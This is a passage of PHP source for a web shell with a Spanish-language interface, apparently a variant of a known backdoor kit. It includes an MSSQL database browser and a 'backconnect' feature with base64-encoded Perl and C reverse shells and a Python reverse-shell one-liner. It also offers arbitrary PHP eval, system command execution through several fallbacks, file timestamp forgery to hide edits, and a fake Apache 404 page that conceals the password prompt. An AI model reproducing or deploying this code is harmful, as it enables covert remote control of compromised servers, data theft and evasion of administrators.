a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($tb = @mssql_fetch_assoc($result)) {$rowdb[$tb['name']] = $tb;$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');} else {p('<h2>Update record in '.$tablename.' table &raquo;</h2>');$where = base64_decode($base64);$result = msq("SELECT top 1 * FROM $tablename WHERE $where");$rs = mssql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mssqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['name']]) {$value = htmlspecialchars($rs[$row['name']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] || $row['Auto']) {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td>'.$value.'&nbsp;</td></tr>');} else {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td><textarea class="area" name="insertsql['.$row['name'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(msqy($query)){case 0:
p('<h2>Error : '.msmsg().'</h2>');break;	
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mssql_fetch_array(msq("SELECT count(*) FROM $tablename"));$tatol = $tatol[0];$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();$keyfied = '';while($tb = @mssql_fetch_array($result)) {p('<td nowrap>'.$tb['name'].'<br><span>'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? '<b> - PRIMARY</b>' : '').($tb['autoval'] ? '<b> - Auto</b>' : '').'</span></td>');$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];if ($tb['colstat']) {$keyfied = $tb['name'];}}p('</tr>');if (strtolower(substr($query,0,13)) == 'select * from') {$query .= " order by $keyfied DESC";}$result = msq($query);$index=0;if($pagenum>0) mssql_data_seek($result,$start_limit);while($mn = @mssql_fetch_assoc($result)){if($index>$pagenum-1) break;$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');p($b1);p('</tr>');$index++;unset($b1);}tbfoot();p($multipage);break;	
case 2:
$ar = mssql_affected_rows();p('<h2>affected rows : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = msq("select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name as owner,sysobjects.crdate from sysobjects join sysusers on sysobjects.uid = sysusers.uid where sysobjects.xtype = 'U' order by sysobjects.name asc");$table_num = 0;$tabledb = array();while($table = mssql_fetch_array($query)) {$table_num++;$tabledb[] = $table;}unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mssqladmin');p($dbform);p('<tr class="head">');p('<td>Name</td>');p('<td>Owner</td>');p('<td>Create_time</td>');p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td><a href="javascript:settable(\''.$table['owner'].'.'.$table['name'].'\');">'.$table['name'].'</a></td>');p('<td>'.$table['owner'].'</td>');p('<td>'.$table['crdate'].'</td>');p('<td><a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$dbname.'.'.$table['name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>Total tables: '.$table_num.'</td>');p('<td colspan="3"></td>');p('</tr>');p("</table>");msfr($query);}}}}tbfoot();if ($alreadymssql) {@mssql_close();}}elseif ($action == 'backconnect') {if(!isset($yourip)) $yourip = $_SERVER['REMOTE_ADDR'];if(!isset($yourport)) $yourport = '12345';$usedb = array('perl'=>'perl','c'=>'c','python'=>'python');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if (isset($start) && isset($yourip) && isset($yourport) && isset($use)){$back_connect_python=" -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"".$yourip."\",".$yourport."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"".$cmdshell."\",\"-i\"]);'";switch($use){case 'perl':
cf('/tmp/angel_bc',$back_connect);$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");break;case 'python':
$res = execute(which('python').$back_connect_python);break;case 'c':
cf('/tmp/angel_bc.c',$back_connect_c);$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$res = execute("/tmp/angel_bc $yourip $yourport &");break;}if ($use == 'perl') {} elseif($use=='c') {}
m("Intentando conectarse a $yourip puerto $yourport ...");}formhead(array('title'=>'Shell inversa'));makehide('action','backconnect');p('<p>');p('IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));p('Puerto:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));p('Shell:');makeinput(array('name'=>'useshell','size'=>15,'value'=>$cmdshell));p('Usar:');makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));makeinput(array('name'=>'start','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
}elseif ($action == 'eval') {$phpcode = trim($phpcode);if($phpcode){if (!preg_match('#<\?#si', $phpcode)) {$phpcode = "<?php\n\n{$phpcode}\n\n?>";}eval("?".">$phpcode<?");}formhead(array('title'=>'Ejecutar PHP'));makehide('action','eval');maketext(array('title'=>'Ejecutar PHP','name'=>'phpcode', 'value'=>$phpcode));formfooter();
}elseif ($action == 'editfile') {if(file_exists($opfile)) {$fp=@fopen($opfile,'r');$contents=@fread($fp, filesize($opfile));@fclose($fp);$contents=htmlspecialchars($contents);}formhead(array('title'=>'Crear/Editar'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (importar)','name'=>'editfilename','value'=>$opfile,'newline'=>1));maketext(array('title'=>'Contenido','name'=>'filecontent','value'=>$contents));formfooter();goback();
}elseif ($action == 'newtime') {$opfilemtime = @filemtime($opfile);$cachemonth = array('Enero'=>1,'Febrero'=>2,'Marzo'=>3,'Abril'=>4,'Mayo'=>5,'Junio'=>6,'Julio'=>7,'Agosto'=>8,'Septiembre'=>9,'Octubre'=>10,'Noviembre'=>11,'Diciembre'=>12);formhead(array('title'=>'Archivo clonado con fecha'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Alterar archivo','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));makeinput(array('title'=>'Referencia (ruta)','name'=>'tarfile','size'=>120,'newline'=>1));formfooter();formhead(array('title'=>'Fecha Modificado'));makehide('action','file');makehide('dir',$nowpath);makeinput(array('title'=>'Archivo actual (ruta)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));p('<p>Instead &raquo;');p('A&#65533;o:');makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));p('Mes:');makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));p('D&#65533;a:');makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));p('Hora:');makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));p('Minuto:');makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));p('Segundo:');makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));p('</p>');formfooter();goback();
}elseif ($action == 'shell') {if (IS_WIN && IS_COM) {if($program && $parameter) {$shell= new COM('Shell.Application');$a = $shell->ShellExecute($program,$parameter);m('Program run has '.(!$a ? 'success' : 'fail'));}!$program && $program = 'c:\windows\system32\cmd.exe';!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';formhead(array('title'=>'Ejecutar programa'));makehide('action','shell');makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));p('<p>');makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));p('</p>');formfoot();}formhead(array('title'=>'Ejecutar comando'));makehide('action','shell');if (IS_WIN && IS_COM) {$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));}p('<p>');makeinput(array('title'=>'Comando','name'=>'command','value'=>htmlspecialchars($command)));makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Ejecutar'));p('</p>');formfoot();if ($command) {p('<hr width="100%" noshade /><pre>');if ($execfunc=='wscript' && IS_WIN && IS_COM) {$wsh = new COM('WScript.shell');$exec = $wsh->exec('cmd.exe /c '.$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {$descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);if (is_resource($process)) {fwrite($pipes[0], $command."\r\n");fwrite($pipes[0], "exit\r\n");fclose($pipes[0]);while (!feof($pipes[1])) {echo fgets($pipes[1], 1024);}fclose($pipes[1]);while (!feof($pipes[2])) {echo fgets($pipes[2], 1024);}fclose($pipes[2]);proc_close($process);}} else {echo(execute($command));}p('</pre>');}}elseif ($action == 'phpenv') {$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');!$dis_func && $dis_func = 'No';	
$info = array(1 => array('Hora Servidor',date('Y/m/d h:i:s',$timestamp)),2 => array('Dominio Servidor',$_SERVER['SERVER_NAME']),3 => array('IP Servidor',gethostbyname($_SERVER['SERVER_NAME'])),4 => array('OS Servidor',PHP_OS),5 => array('OS Charset Servidor',$_SERVER['HTTP_ACCEPT_LANGUAGE']),6 => array('Software Servidor',$_SERVER['SERVER_SOFTWARE']),7 => array('Web Port',$_SERVER['SERVER_PORT']),8 => array('Modo de PHP',strtoupper(php_sapi_name())),9 => array('Ruta Shell',__FILE__),10 => array('PHP Version',PHP_VERSION),11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),12 => array('Safe Mode',getcfg('safe_mode')),13 => array('Administrator',$adminmail),14 => array('allow_url_fopen',getcfg('allow_url_fopen')),15 => array('enable_dl',getcfg('enable_dl')),16 => array('display_errors',getcfg('display_errors')),17 => array('register_globals',getcfg('register_globals')),18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),19 => array('memory_limit',getcfg('memory_limit')),20 => array('post_max_size',getcfg('post_max_size')),21 => array('upload_max_filesize',$upsize),22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),23 => array('disable_functions',$dis_func),);if($phpvarname) {m($phpvarname .' : '.getcfg($phpvarname));}formhead(array('title'=>'Entorno servidor'));makehide('action','phpenv');makeinput(array('title'=>'Ingrese un parametro PHP(ej:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));formfooter();$hp = array(0=> 'Server', 1=> 'PHP');for($a=0;$a<2;$a++) {p('<h2>'.$hp[$a].' &raquo;</h2>');p('<ul class="info">');if ($a==0) {for($i=1;$i<=9;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}} elseif ($a == 1) {for($i=10;$i<=23;$i++) {p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');}}p('</ul>');}}else {m('Undefined Action');
}?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span></div>
</body>
</html>
<?php
function m($msg) {echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';echo $msg;echo '</div>';
}function scookie($key, $value, $life = 0, $prefix = 1) {global $admin, $timestamp, $_SERVER;$key = ($prefix ? $admin['cookiepre'] : '').$key;$life = $life ? $life : $admin['cookielife'];$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {$multipage = '';if($num > $perpage) {$page = 10;$offset = 5;$pages = @ceil($num / $perpage);if($page > $pages) {$from = 1;$to = $pages;} else {$from = $curpage - $offset;$to = $curpage + $page - $offset - 1;if($from < 1) {$to = $curpage + 1 - $from;$from = 1;if(($to - $from) < $page && ($to - $from) < $pages) {$to = $page;}} elseif($to > $pages) {$from = $curpage - $pages + $to;$to = $pages;if(($to - $from) < $page && ($to - $from) < $pages) {$from = $pages - $page + 1;}}}$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">Primera</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Anterior</a> ' : '');for($i = $from; $i <= $to; $i++) {$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';}$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Siguiente</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Ultima</a>' : '');$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';}return $multipage;
}function loginpage() {header("Status: 404 Not Found");header("status: 404");?><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address><style>input {margin:0;background-color:#fff;border:1px solid #fff; }</style><center><form method="POST" action=""><span style="font:11px Verdana;"></span><input name="password" type="password" size="20"><input type="hidden" name="doing" value="login"><input type="submit" value=""></form></center><?php exit;}function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {@ob_start();@system($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')) {@ob_start();@passthru($cfe);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cfe,"r"))) {$res = '';while(!@feof($f)) {$res .= @fread($f,1024);}@pclose($f);}}return $res;
}function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);
}function cf($fname,$text){if($fp=@fopen($fname,'w')) {@fputs($fp,base64_decode($text));@fclose($fp);}}function dirsize($dir) {
$dh = @opendir($dir);$size = 0;while($file = @readdir($dh)) {if ($file != '.' && $file != '..') {$path = $dir.'/'.$file;if (@is_dir($path)) {$size += dirsize($path);} else {$size += @filesize($path);}}}@closedir($dh);return $size;
}function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Procesado en '.$totaltime.' segundo(s)';
}function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {global $charsetdb;if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {p('<h2>No se pudo conectar a MySQL server</h2>');exit;}if($link && $dbname) {if (!@mysql_select_db($dbname, $link)) {p('<h2>Database seleccionada con errores</h2>');exit;}}if($link && mysql_get_server_info() > '4.1') {if(in_array(strtolower($charset), $charsetdb)) {q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);}}return $link;
}function msdbconn($dbhost,$dbuser,$dbpass,$dbname='') {global $alreadymssql;@ini_set('mssql.charset', 'UTF-8');@ini_set('mssql.textlimit', 2147483647);@ini_set('mssql.textsize', 2147483647);$alreadymssql = 1;if(!$link = @mssql_connect($dbhost, $dbuser, $dbpass, false)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}if($link && $dbname) {if (!@mssql_select_db($dbname, $link)) {p('<h2>'.msmsg().'</h2>');$alreadymssql = 0;exit;}}return $link;
}function s_array(&$array) {if (is_array($array)) {foreach ($array as $k => $v) {$array[$k] = s_array($v);}} else if (is_string($array)) {$array = stripslashes($array);}return $array;
}function html_clean($content) {$content = htmlspecialchars($content);$content = str_replace("\n", "<br />", $content);$content = str_replace(" ", "&nbsp;&nbsp;", $content);$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);return $content;
}function getChmod($filepath){return substr(base_convert(@fileperms($filepath),10,8),-4);
}function getPerms($filepath) {$mode = @fileperms($filepath);if (($mode & 0xC000) === 0xC000) {$type = 's';}elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}else {$type = '?';}$owner['read'] = ($mode & 00400) ? 'r' : '-';$owner['write'] = ($mode & 00200) ? 'w' : '-';$owner['execute'] = ($mode & 00100) ? 'x' : '-';$group['read'] = ($mode & 00040) ? 'r' : '-';$group['write'] = ($mode & 00020) ? 'w' : '-';$group['execute'] = ($mode & 00010) ? 'x' : '-';$world['read'] = ($mode & 00004) ? 'r' : '-';$world['write'] = ($mode & 00002) ? 'w' : '-';$world['execute'] = ($mode & 00001) ? 'x' : '-';if($mode & 0x800) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}if($mode & 0x400) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}if($mode & 0x200) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}function getUser($filepath){if (function_exists('posix_getpwuid')) {$array = @posix_getpwuid(@fileowner($filepath));if ($array && is_array($array)) {return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';}}return '';
}function deltree($deldir) {$mydir=@dir($deldir);	
while($file=$mydir->read()){	
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);deltree($deldir.'/'.$file);}if (is_file($deldir.'/'.$file)) {@chmod($deldir.'/'.$file,0777);@unlink($deldir.'/'.$file);}}
$mydir->close();@chmod($deldir,0777);return @rmdir($deldir) ? 1 : 0;
}function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';
}function getPath($scriptpath, $nowpath) {if ($nowpath == '.') {$nowpath = $scriptpath;}$nowpath = str_replace('\\', '/', $nowpath);$nowpath = str_replace('//', '/', $nowpath);if (substr($nowpath, -1) != '/') {$nowpath = $nowpath.'/';}return $nowpath;
}function getUpPath($nowpath) {$pathdb = explode('/', $nowpath);$num = count($pathdb);if ($num > 2) {unset($pathdb[$num-1],$pathdb[$num-2]);}$uppath = implode('/', $pathdb).'/';$uppath = str_replace('//', '/', $uppath);return $uppath;
}function getcfg($varname) {$result = get_cfg_var($varname);if ($result == 0) {return 'No';} elseif ($result == 1) {return 'Yes';} else {return $result;}}function getfun($funName) {return (false !== function_exists($funName)) ? 'Yes' : 'No';
}function getextension($filename) {$pathinfo = pathinfo($filename);return $pathinfo['extension'];
}function GetWDirList($dir){global $dirdata,$j,$nowpath;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){if (is_writable($f)) {$dirdata[$j]['filename']=str_replace($nowpath,'',$f);$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$dirdata[$j]['dirchmod']=getChmod($f);$dirdata[$j]['dirperm']=getPerms($f);$dirdata[$j]['dirlink']=ue($dir);$dirdata[$j]['server_link']=$f;$dirdata[$j]['client_link']=ue($f);$j++;}GetWDirList($f);}}closedir($dh);clearstatcache();return $dirdata;} else {return array();}}function GetWFileList($dir){global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetWFileList($f);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){if (is_writable($f)) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function GetSFileList($dir, $content, $re = 0) {global $filedata,$j,$nowpath, $writabledb;!$j && $j=1;if ($dh = opendir($dir)) {while ($file = readdir($dh)) {$ext = getextension($file);$f=str_replace('//','/',$dir.'/'.$file);if($file!='.' && $file!='..' && is_dir($f)){GetSFileList($f, $content, $re = 0);} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){$find = 0;if ($re) {if (preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f))){$find = 1;}} else {if (strstr($file, $content) || strstr(@file_get_contents($f),$content)) {$find = 1;}}if ($find) {$filedata[$j]['filename']=str_replace($nowpath,'',$f);$filedata[$j]['size']=sizecount(@filesize($f));$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));$filedata[$j]['filechmod']=getChmod($f);$filedata[$j]['fileperm']=getPerms($f);$filedata[$j]['fileowner']=getUser($f);$filedata[$j]['dirlink']=$dir;$filedata[$j]['server_link']=$f;$filedata[$j]['client_link']=ue($f);$j++;}}}closedir($dh);clearstatcache();return $filedata;} else {return array();}}function qy($sql) {
$res = $error = '';if(!$res = @mysql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function q($sql) {
return @mysql_query($sql);
}function fr($qy){mysql_free_result($qy);
}function msq($sql) {
return @mssql_query($sql);
}function msfr($qy){mssql_free_result($qy);
}function msmsg(){return mssql_get_last_message();
}function msqy($sql) {$res = $error = '';if(!$res = @mssql_query($sql)) {
return 0;} else if(is_resource($res)) {return 1;} else {return 2;}
return 0;
}function sizecount($size) {if($size > 1073741824) {$size = round($size / 1073741824 * 100) / 100 . ' G';} elseif($size > 1048576) {$size = round($size / 1048576 * 100) / 100 . ' M';} elseif($size > 1024) {$size = round($size / 1024 * 100) / 100 . ' K';} else {$size = $size . ' B';}return $size;
}class PHPZip{var $out='';function PHPZip($dir){if (@function_exists('gzcompress')){$curdir = getcwd();if (is_array($dir)) $filelist = $dir;else{$filelist=$this -> GetFileList($dir);foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);}if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);else chdir($curdir);if (count($filelist)>0){foreach($filelist as $filename){if (is_file($filename)){$fd = fopen ($filename, 'r');$content = @fread ($fd, filesize($filename));fclose ($fd);if (is_array($dir)) $filename = basename($filename);$this -> addFile($content, $filename);}}$this->out = $this -> file();chdir($curdir);}return 1;}else return 0;}function GetFileList($dir){static $a;if (is_dir($dir)) {if ($dh = opendir($dir)) {while ($file = readdir($dh)) {if($file!='.' && $file!='..'){$f=$dir .'/'. $file;if(is_dir($f)) $this->GetFileList($f);$a[]=$f;}}closedir($dh);}}return $a;}var $datasec = array();var $ctrl_dir = array();var $eof_ctrl_dir = 